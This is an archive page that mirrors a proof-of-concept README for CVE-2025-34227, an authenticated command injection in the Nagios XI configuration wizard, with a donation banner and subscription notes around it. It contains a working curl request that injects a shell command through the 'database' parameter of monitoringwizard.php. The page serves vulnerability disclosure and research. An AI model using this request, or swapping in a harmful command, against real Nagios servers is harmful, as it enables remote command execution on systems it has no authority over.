Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-34227 PoC — Nagios XI < 2026R1 Configuration Wizard Authenticated Command Injection

Source
Associated Vulnerability
Title:Nagios XI < 2026R1 Configuration Wizard Authenticated Command Injection (CVE-2025-34227)
Description:Nagios XI < 2026R1 is vulnerable to an authenticated command injection vulnerability within the MongoDB Database, MySQL Query, MySQL Server, Postgres Server, and Postgres Query wizards. It is possible to inject shell characters into arguments provided to the service and execute arbitrary system commands on the underlying host as the `nagios` user.
Description
Simple proof of concept repository for CVE-2025-34227 Nagios XI authenticated command injection in Configuration Wizard
Readme
# CVE-2025-34227 Nagios XI Authenticated Command Injection in `Configuration Wizard`
Simple proof of concept repository for CVE-2025-34227, an authenticated command injection in Nagios XI -> `Configuration Wizard`

Full writeup here: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/


## `curl` Proof of Concept
The payload below is in the `database` parameter: `;touch /tmp/rceproof;`.

After authenticating, add your `Cookie: nagiosxi=` session id and add your `nsp` value to the POST body:
```
$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →